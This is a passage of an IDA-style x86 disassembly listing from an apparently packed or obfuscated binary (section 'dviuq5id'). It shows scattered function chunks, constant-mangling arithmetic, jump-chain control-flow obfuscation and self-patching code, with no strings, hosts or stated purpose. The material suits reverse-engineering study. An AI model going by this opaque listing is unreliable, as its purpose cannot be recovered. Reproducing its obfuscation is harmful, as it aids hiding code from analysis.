sub_43CBD5	proc near		; CODE XREF: sub_439013+2027p

; FUNCTION CHUNK AT 0043C124 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043D981 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004418AB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004428A0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004457B0 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044650F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044DF20 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00450D40 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 004522AC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0045574F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0045669C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00457B8E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004588AA SIZE 0000000B BYTES

		xchg	esi, [esp+0]

loc_43CBD8:				; CODE XREF: dviuq5id:0044AB56j
		pop	esi
		add	esp, 8
		mov	eax, [eax]
		add	eax, [ebp-4]
		jmp	loc_4457B0
sub_43CBD5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_43CBE6:				; CODE XREF: sub_459385-9CDj
		jb	loc_44839F
		mov	edi, 6B801238h
		cmp	edi, ecx
		jmp	loc_43A6CF
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_43CBF8:				; CODE XREF: sub_43FA59:loc_441994j
					; dviuq5id:004419ABj
		sub	edi, 11CB8B0h
		add	edi, 2417910Dh
		xor	edi, 8DC72AF4h
		add	edi, 0F25691FFh
		xchg	edi, [esp+0]
		jmp	sub_43CCD1
; END OF FUNCTION CHUNK	FOR sub_43FA59
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_240. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43CC19:				; CODE XREF: dviuq5id:0043BBECj
		jmp	loc_448461
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451D31

loc_43CC1E:				; CODE XREF: sub_451D31-11E82j
		pushf

loc_43CC1F:				; CODE XREF: sub_451D31:loc_43A5D6j
		lea	eax, [ebp-24h]
		push	eax
		push	4
		jmp	loc_44D2A3
; END OF FUNCTION CHUNK	FOR sub_451D31

; =============== S U B	R O U T	I N E =======================================



sub_43CC2A	proc near		; CODE XREF: sub_457566:loc_455AB7j

; FUNCTION CHUNK AT 0044687A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447A4B SIZE 00000012 BYTES

		push	ebx
		push	44D5A33Fh
		pop	ebx
		and	ebx, 75C3DF5Dh
		sub	ebx, 9D659186h
		jmp	loc_44687A
sub_43CC2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_43CC42	proc near		; CODE XREF: sub_440D7A:loc_45758Aj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043DCA4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440B44 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00447F5B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044873D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BFC6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044CB03 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D191 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044E447 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044EF11 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044F207 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00450828 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00450E6D SIZE 0000001E BYTES

		push	ebx
		mov	ebx, ecx
		xchg	ebx, [esp+4+var_4]
		mov	esp, ebp
		xchg	esi, [esp+4+var_4]
		mov	ebp, esi
		jmp	loc_44BFC6
sub_43CC42	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44864B

loc_43CC54:				; CODE XREF: sub_44864B+749Bj
		xchg	ebx, [ebp+0]
		push	6B0DB858h
		rol	edx, 1Bh
		jmp	loc_454644
; END OF FUNCTION CHUNK	FOR sub_44864B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441C84

loc_43CC64:				; CODE XREF: sub_441C84+11C6Dj
		js	loc_448B64
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_44DA12
		jmp	loc_445106
; END OF FUNCTION CHUNK	FOR sub_441C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_43CC7E:				; CODE XREF: sub_43FA59+17616j
		test	eax, edx
		jmp	loc_44500E
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
		sub	edx, esi
		jmp	sub_459588
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451EEC

loc_43CC8C:				; CODE XREF: sub_451EEC:loc_4463C6j
		add	ecx, 446BFC8Bh
		sub	eax, ecx
		pop	ecx
		xor	eax, 0F338762Fh
		add	eax, 3E925489h
		rol	eax, 0Bh
		xor	eax, 0B04A218Dh
		jmp	loc_43C96F
; ---------------------------------------------------------------------------

loc_43CCAF:				; CODE XREF: sub_451EECj
		push	4902C75Fh
		jmp	loc_455D03
; END OF FUNCTION CHUNK	FOR sub_451EEC

; =============== S U B	R O U T	I N E =======================================



sub_43CCB9	proc near		; DATA XREF: sub_43BAB4+13EBFo
					; sub_457B2A-17CF1o
		add	eax, 486B563Ah
		mov	eax, [eax]
		mov	esp, ebp
		pop	ebp
		retn	8
sub_43CCB9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43CCC7:				; CODE XREF: dviuq5id:0043ADC8j
		jmp	loc_457963
; ---------------------------------------------------------------------------

loc_43CCCC:				; CODE XREF: dviuq5id:0043A21Aj
		jmp	loc_43B7B2

; =============== S U B	R O U T	I N E =======================================



sub_43CCD1	proc near		; CODE XREF: sub_458F2A-1D551p
					; dviuq5id:0043C42Dp ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043F026 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044786E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BE2F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044ED35 SIZE 00000005 BYTES

		jnz	sub_459F64
		push	ecx
		mov	ecx, esi
		jmp	loc_43F026
sub_43CCD1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E421

loc_43CCDF:				; CODE XREF: sub_43E421:loc_440D62j
		or	eax, 0E9EB8622h
		add	eax, 66C8FE46h
		xor	eax, 14653F2Fh
		call	sub_457EC2

loc_43CCF6:				; CODE XREF: sub_456253-15298j
		jz	loc_4596B3
		jmp	loc_457889
; END OF FUNCTION CHUNK	FOR sub_43E421
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4512BC

loc_43CD01:				; CODE XREF: sub_4512BC:loc_458E87j
		sub	ecx, 0FBFE040Eh
		cmp	ecx, 2EA4491Fh
		jmp	loc_45604B
; END OF FUNCTION CHUNK	FOR sub_4512BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450377

loc_43CD12:				; CODE XREF: sub_450377+7927j
		call	sub_44FD8E
		mov	eax, 2DC123E0h
		call	sub_453642
		mov	ds:off_41D124, eax
		push	offset loc_453551
		jmp	loc_44F55A
; END OF FUNCTION CHUNK	FOR sub_450377
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DB43

loc_43CD31:				; CODE XREF: sub_44DB43-7741j
		and	eax, 7
		call	sub_43FA59
; END OF FUNCTION CHUNK	FOR sub_44DB43
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_342. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_43CD3A:				; CODE XREF: sub_43FA59+1620Ej
		jmp	loc_444DD2
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447ADF

loc_43CD3F:				; CODE XREF: sub_447ADF:loc_44D7F0j
		mov	[edx], eax
		pop	edx
		mov	eax, offset dword_439800
		push	esi
		push	0E430E124h
		jmp	loc_459ADA
; END OF FUNCTION CHUNK	FOR sub_447ADF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_43CD52:				; CODE XREF: sub_43938B+B110j
					; dviuq5id:loc_454839j
		push	edi
		mov	edi, eax
		xchg	edi, [esp+4+var_4]
		push	0
		push	esi
		push	7A190E30h
		pop	esi
		jmp	loc_453E5C
; END OF FUNCTION CHUNK	FOR sub_43938B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C378

loc_43CD66:				; CODE XREF: sub_44C378+B3F4j
		call	sub_4530D9
; END OF FUNCTION CHUNK	FOR sub_44C378
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_43CD6B:				; CODE XREF: sub_44646F-20A8j
		jmp	loc_441BFC
; END OF FUNCTION CHUNK	FOR sub_44646F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A386

loc_43CD70:				; CODE XREF: sub_43A386+Aj
		and	edx, 8D0B4394h
		xor	edx, 2ADC0358h
		and	edx, 31848351h
		test	edx, 4000h
		jmp	loc_458E5A
; END OF FUNCTION CHUNK	FOR sub_43A386

; =============== S U B	R O U T	I N E =======================================



sub_43CD8D	proc near		; CODE XREF: dviuq5id:004574A8j
					; DATA XREF: sub_443AC1+B78Fo

; FUNCTION CHUNK AT 0044B54D SIZE 00000005 BYTES

		add	ecx, 0C2609F0Ch
		add	eax, ecx
		pop	ecx
		rol	eax, 0Dh
		xor	eax, 0C50523F3h
		jmp	loc_44B54D
sub_43CD8D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443AC1

loc_43CDA4:				; CODE XREF: sub_443AC1j
		call	sub_458AF1

loc_43CDA9:				; CODE XREF: dviuq5id:0044AD81j
		mov	[edi], eax
		pop	edi
		lea	eax, nullsub_14
		mov	byte ptr [eax],	0C3h
		jmp	loc_43991D
; END OF FUNCTION CHUNK	FOR sub_443AC1
; ---------------------------------------------------------------------------
		xchg	esi, [esp]
		mov	edx, esi
		pop	esi
		jmp	loc_4464A7
; ---------------------------------------------------------------------------

loc_43CDC5:				; DATA XREF: sub_441C99:loc_451BCEo
		pop	ecx
		xchg	ecx, [esp]
		mov	ebp, ecx
		pop	ecx
		jmp	loc_44199A

; =============== S U B	R O U T	I N E =======================================



sub_43CDD1	proc near		; CODE XREF: sub_448154-F0A4p
					; sub_4525D0:loc_45440Cj

arg_0		= dword	ptr  4

		xchg	edx, [esp+0]
		pop	edx
		xchg	ebx, [esp-4+arg_0]
		call	sub_44E3BA
		retn
sub_43CDD1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459DA3

loc_43CDDE:				; CODE XREF: sub_459DA3-FD20j
		jmp	loc_449881
; END OF FUNCTION CHUNK	FOR sub_459DA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4477D7

loc_43CDE3:				; CODE XREF: sub_4477D7+3j
					; sub_4477D7+11414j
		mov	eax, [ebp-108h]
		mov	edx, [ebp-104h]
		mov	dl, [edx]
		jmp	loc_450A2F
; END OF FUNCTION CHUNK	FOR sub_4477D7

; =============== S U B	R O U T	I N E =======================================



sub_43CDF6	proc near		; DATA XREF: dviuq5id:00451F94o

var_4		= dword	ptr -4

		push	7337914Ch
		xchg	eax, [esp+4+var_4]
		adc	edi, ebx
		jmp	loc_4517B6
sub_43CDF6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_43CE05:				; CODE XREF: sub_44646F-437Dj
		jb	loc_458E15
		jmp	loc_44D7DC
; ---------------------------------------------------------------------------

loc_43CE10:				; CODE XREF: sub_44646F+C5B5j
		sub	al, 99h
		push	0A0762B2Ah
		pop	edx
		rol	edx, 8
		sub	edx, ds:4000F5h
		jmp	loc_44AD3D
; END OF FUNCTION CHUNK	FOR sub_44646F
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, eax
		xchg	ebp, [esp]
		ror	eax, 15h
		push	offset sub_44C620
		jmp	loc_447F3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457EED

loc_43CE39:				; CODE XREF: sub_457EED-13AEEj
		xchg	ecx, [ebx]
		mov	ebx, 0FE4C7DEEh
		jmp	loc_441963
; END OF FUNCTION CHUNK	FOR sub_457EED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AF9D

loc_43CE45:				; CODE XREF: sub_43AF9D+EF0Fj
		jnp	loc_43AC04
		xor	edi, esi
		or	edx, 0E4801C70h
		jmp	loc_43D685
; END OF FUNCTION CHUNK	FOR sub_43AF9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446544

loc_43CE58:				; CODE XREF: sub_446544-6000j
		jnz	loc_43BC72

loc_43CE5E:				; CODE XREF: dviuq5id:loc_43B6BDj
		jmp	loc_43B5FC
; END OF FUNCTION CHUNK	FOR sub_446544
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449485

loc_43CE63:				; CODE XREF: sub_449485-64E6j
		jz	loc_43FE9D
		jmp	loc_4496BB
; END OF FUNCTION CHUNK	FOR sub_449485
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A6B8

loc_43CE6E:				; CODE XREF: sub_43A6B8+12j
		push	ecx
		push	0A682B0B3h
		pop	ecx
		and	ecx, 0F9C17991h
		jmp	loc_454E28
; END OF FUNCTION CHUNK	FOR sub_43A6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444688

loc_43CE80:				; CODE XREF: sub_444688:loc_43D08Fj
		rol	eax, 11h
		add	eax, 338314EBh
		xchg	eax, [esp+0]
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_444688
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E421

loc_43CE91:				; CODE XREF: sub_43E421+Fj
		call	sub_44A58C
		mov	ds:off_41D024, eax
		lea	eax, sub_450686
		call	sub_456C8B

loc_43CEA7:				; CODE XREF: sub_4466B6-71FDj
		jmp	loc_452493
; END OF FUNCTION CHUNK	FOR sub_43E421
; ---------------------------------------------------------------------------
		not	esi
		jmp	sub_43AEAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440C61

loc_43CEB3:				; CODE XREF: sub_440C61-2604j
		mov	[ecx], edi
		sub	eax, 0DD16A717h
		jnb	loc_4476E6
		jmp	loc_4585D1
; END OF FUNCTION CHUNK	FOR sub_440C61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_43CEC6:				; CODE XREF: sub_454094:loc_445A00j
		or	edx, ds:4000F7h
		jnz	loc_439AF4
		xor	ebp, 0A7878777h
		jmp	loc_439AEF
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45753F

loc_43CEDD:				; CODE XREF: sub_45753F-11BC1j
		jz	sub_44EEAA
		cmp	ebp, 966F9BBAh
		jmp	loc_454425
; END OF FUNCTION CHUNK	FOR sub_45753F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A5E

loc_43CEEE:				; CODE XREF: sub_439A5E+167D2j
		sub	al, 99h
		push	82C9F519h
		pop	edx
		xor	edx, 0FCDCDF81h
		cmp	edx, 0FF14C225h
		jmp	loc_43BA6B
; END OF FUNCTION CHUNK	FOR sub_439A5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1C0

loc_43CF07:				; CODE XREF: sub_44E1C0:loc_44DE5Ej
		push	6E2650E0h
		pop	edx
		add	edx, 0C6CDA92Eh
		xor	edx, 765A712h

loc_43CF19:				; CODE XREF: sub_454142:loc_4569C2j
		sub	edx, 312A8E66h
		and	edx, 2A21D90h
		add	edx, 0FE239201h
		popf
		jmp	loc_43CAE9
; END OF FUNCTION CHUNK	FOR sub_44E1C0

; =============== S U B	R O U T	I N E =======================================



sub_43CF31	proc near		; DATA XREF: sub_4492F0+7BA1o

; FUNCTION CHUNK AT 00440BB3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447C62 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448677 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00451526 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004527A9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00454F5E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0045546E SIZE 00000002 BYTES
; FUNCTION CHUNK AT 004563FB SIZE 00000005 BYTES

		or	eax, eax
		jnz	loc_454F5E
		jmp	loc_440BB3
sub_43CF31	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_43CF3E:				; CODE XREF: dviuq5id:00459CC0j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451EEC

loc_43CF3F:				; CODE XREF: sub_451EEC-879Ej
		jmp	sub_449EB7
; END OF FUNCTION CHUNK	FOR sub_451EEC
; ---------------------------------------------------------------------------

loc_43CF44:				; CODE XREF: dviuq5id:00447A27j
		jmp	loc_446447
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BAF7

loc_43CF49:				; CODE XREF: sub_44BAF7-6059j
		jmp	sub_443862
; END OF FUNCTION CHUNK	FOR sub_44BAF7
; ---------------------------------------------------------------------------
		adc	eax, ecx
		shr	edi, 1Fh
		jmp	sub_442294
; ---------------------------------------------------------------------------
		push	eax
		call	sub_456567
; START	OF FUNCTION CHUNK FOR sub_44C50A

loc_43CF5E:				; CODE XREF: sub_44C50A+6A9Bj
		jmp	loc_459093
; END OF FUNCTION CHUNK	FOR sub_44C50A
; ---------------------------------------------------------------------------
		push	offset loc_453805
		jmp	loc_448DFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_43CF6D:				; CODE XREF: sub_439013:loc_448D93j
		jl	loc_44AFC9
		sbb	edx, 0DB8C95A2h
		jmp	loc_44AFC7
; ---------------------------------------------------------------------------

loc_43CF7E:				; CODE XREF: sub_439013:loc_442C6Aj
		add	eax, 53042819h
		add	eax, 0ACFBD807h
		mov	eax, [eax]
		add	eax, [ebp-4]
		jmp	loc_44D54F
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------

locret_43CF94:				; CODE XREF: dviuq5id:00443001j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B02F

loc_43CF95:				; CODE XREF: sub_44B02F+DDA5j
		jmp	loc_4594D6
; END OF FUNCTION CHUNK	FOR sub_44B02F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450F3F

loc_43CF9A:				; CODE XREF: sub_450F3F:loc_458C95j
		push	eax
		push	eax
		mov	edx, eax
		call	sub_441788
; END OF FUNCTION CHUNK	FOR sub_450F3F
; START	OF FUNCTION CHUNK FOR sub_455658

loc_43CFA3:				; CODE XREF: sub_455658+Cj
		xchg	ebx, [esp+0]
		call	sub_446544
		mov	eax, 3195933h
		push	edi
		push	0E3F48227h
		adc	edi, ebp
		jmp	loc_445049
; END OF FUNCTION CHUNK	FOR sub_455658
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D2A8

loc_43CFBD:				; CODE XREF: sub_44D2A8+9j
		xchg	edi, [esp+4+var_4]
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		cmp	ds:dword_453D0C, 0
		jnz	loc_459CF3
		jmp	loc_44DA29
; END OF FUNCTION CHUNK	FOR sub_44D2A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B99E

loc_43CFD7:				; CODE XREF: sub_44B99E-D0F1j
		add	ecx, 82F38B0Ch
		sub	ecx, 38142425h
		xor	ecx, 3781A7EFh
		or	ecx, 0AB319026h
		add	ecx, 8AA235h
		xchg	ecx, [esp+0]
		jmp	sub_456F43
; END OF FUNCTION CHUNK	FOR sub_44B99E
; ---------------------------------------------------------------------------

loc_43CFFD:				; CODE XREF: dviuq5id:loc_446BD6j
		jb	nullsub_301
		sbb	eax, 0BC3D357h
		jmp	loc_439153
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4579D1

loc_43D00E:				; CODE XREF: dviuq5id:004460E4j
					; sub_4579D1:loc_459909j
		add	ebx, 8334E139h
		push	offset sub_43DB47
		jmp	nullsub_524
; END OF FUNCTION CHUNK	FOR sub_4579D1
; ---------------------------------------------------------------------------

loc_43D01E:				; CODE XREF: dviuq5id:00458ED8j
		jl	loc_44EC18
		sub	edx, eax
		ror	eax, 12h
		shl	ebx, 18h
		jmp	loc_44EC18
; ---------------------------------------------------------------------------
		call	sub_458192
		mov	dword ptr [ebp-4], 1
		mov	eax, 0
		or	eax, eax
		jz	loc_45817F
		jmp	loc_43944C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4402E1

loc_43D04F:				; CODE XREF: sub_4402E1:loc_44C8FCj
		push	9C1A3C4Dh
		pop	eax
		sub	eax, 0FFFD4380h
		add	eax, 72DE976Ah
		jmp	loc_45763E
; END OF FUNCTION CHUNK	FOR sub_4402E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4515EB

loc_43D066:				; CODE XREF: sub_4515EB+25j
		xor	ebx, 31800022h
		add	ebx, 8F1FA826h
		xchg	ebx, [esp+4+var_4]
		jmp	sub_43D7C1
; END OF FUNCTION CHUNK	FOR sub_4515EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_43D07A:				; CODE XREF: sub_44B2EA:loc_454DFAj
		xchg	ecx, ebx
		jmp	loc_43C661
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D28E

loc_43D081:				; CODE XREF: sub_43D28E+16BF2j
		xor	edi, edx

loc_43D083:				; CODE XREF: sub_439A5E:loc_43FF98j
		and	eax, ecx
		shl	esi, 6
		cdq
		jmp	loc_44153F
; END OF FUNCTION CHUNK	FOR sub_43D28E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_357. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444688

loc_43D08F:				; CODE XREF: sub_444688+1583Dj
		jmp	loc_43CE80
; END OF FUNCTION CHUNK	FOR sub_444688
; ---------------------------------------------------------------------------

loc_43D094:				; CODE XREF: dviuq5id:00452CD7j
		jmp	loc_44BF55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4511C6

loc_43D099:				; CODE XREF: sub_4511C6+9j
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_4511C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455400

loc_43D09E:				; CODE XREF: sub_455400-12F43j
		jbe	loc_451ABA
		jmp	loc_4416FC
; END OF FUNCTION CHUNK	FOR sub_455400
; ---------------------------------------------------------------------------

loc_43D0A9:				; CODE XREF: dviuq5id:0044B481j
		jnz	loc_44BABF
		jmp	loc_45845D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_43D0B4:				; CODE XREF: sub_439013+1B070j
		jle	loc_456A60
		jnz	loc_44BBB5
		jmp	loc_4540CE
; END OF FUNCTION CHUNK	FOR sub_439013
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_371. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456A43

loc_43D0C6:				; CODE XREF: sub_456A43-B3B8j
		jmp	sub_45000B
; END OF FUNCTION CHUNK	FOR sub_456A43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44846C

loc_43D0CB:				; CODE XREF: sub_44846C-2111j
		jmp	loc_448E98
; END OF FUNCTION CHUNK	FOR sub_44846C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C592

loc_43D0D0:				; CODE XREF: sub_44C592:loc_44ABC6j
		cmp	eax, 85A71540h
		jmp	loc_4482F2
; END OF FUNCTION CHUNK	FOR sub_44C592
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_109. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AEAA

loc_43D0DC:				; CODE XREF: sub_43AEAA-1AECj
		call	sub_458330

loc_43D0E1:				; CODE XREF: sub_44ADB3+57DAj
		mov	[ebx], edx
		jns	loc_43BBA4
		jmp	loc_44A5FD
; END OF FUNCTION CHUNK	FOR sub_43AEAA
; ---------------------------------------------------------------------------
		sub	eax, ebp
; START	OF FUNCTION CHUNK FOR sub_44D022

loc_43D0F0:				; CODE XREF: sub_44D022:loc_44ED5Bj
		jmp	loc_447C2F
; END OF FUNCTION CHUNK	FOR sub_44D022
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_50. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BAF7

loc_43D0F6:				; CODE XREF: sub_44BAF7+A0F7j
		jmp	sub_44C294
; END OF FUNCTION CHUNK	FOR sub_44BAF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439AA6

loc_43D0FB:				; CODE XREF: sub_439AA6+17F96j
		jmp	loc_44A995
; END OF FUNCTION CHUNK	FOR sub_439AA6
; ---------------------------------------------------------------------------

loc_43D100:				; CODE XREF: dviuq5id:00446918j
		jmp	loc_452697
; ---------------------------------------------------------------------------

locret_43D105:				; CODE XREF: dviuq5id:0044002Cj
		retn
; ---------------------------------------------------------------------------
		jo	loc_439C2C
		shr	edx, 4
		jmp	sub_44F697
; ---------------------------------------------------------------------------

loc_43D114:				; CODE XREF: dviuq5id:00455643j
		and	esi, ebp
		not	edx
		xor	ebx, esi
; START	OF FUNCTION CHUNK FOR sub_44BD0B

loc_43D11A:				; CODE XREF: sub_44BD0B+991Ej
		rol	ecx, 13h
		cmp	ecx, 0FF831Bh
		jmp	loc_457FE8
; END OF FUNCTION CHUNK	FOR sub_44BD0B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_252. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43D129:				; CODE XREF: dviuq5id:0044DF42j
		jmp	loc_44938A
; ---------------------------------------------------------------------------

loc_43D12E:				; CODE XREF: dviuq5id:0045A392j
		jz	loc_449B8C
; START	OF FUNCTION CHUNK FOR sub_446A9C

loc_43D134:				; CODE XREF: sub_446A9C-FB5j
		jmp	loc_44A65E
; END OF FUNCTION CHUNK	FOR sub_446A9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459490

loc_43D139:				; CODE XREF: sub_459490-1B093j
		jmp	loc_44D4D4
; END OF FUNCTION CHUNK	FOR sub_459490
; ---------------------------------------------------------------------------
		popf
		cmp	ebx, 5C9FD73Bh
		jmp	loc_45A02C
; ---------------------------------------------------------------------------
		sub	ebp, 5C3007B1h
		jmp	sub_43FF4E
; ---------------------------------------------------------------------------
		cmp	edx, 7F835498h
		jmp	loc_448DD4

; =============== S U B	R O U T	I N E =======================================



sub_43D160	proc near		; CODE XREF: dviuq5id:00442803p
					; dviuq5id:004533E2j

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0043DEC7 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0044DC95 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044EC0C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452255 SIZE 00000002 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	byte ptr [ebp+eax-100h], 0
		push	2010h
		jmp	loc_44EC0C
sub_43D160	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_170. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43D177:				; CODE XREF: dviuq5id:00459DDFj
		jmp	loc_4477B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454117

loc_43D17C:				; CODE XREF: sub_454117-17773j
		jmp	loc_43C856
; END OF FUNCTION CHUNK	FOR sub_454117

; =============== S U B	R O U T	I N E =======================================



sub_43D181	proc near		; CODE XREF: sub_456A43-7729j
					; sub_43D181+14887p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0043AA1E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043B044 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043E1D2 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043FB1F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442C6F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444333 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00446867 SIZE 0000000E BYTES
